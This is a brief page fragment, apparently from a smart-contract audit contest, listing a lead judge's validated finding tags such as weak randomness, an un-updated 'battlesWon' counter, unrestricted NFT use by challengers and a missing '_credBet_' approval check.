Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

`battlesWon` is never updated

Challenger can use any nft to battle - not necessarily theirs

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.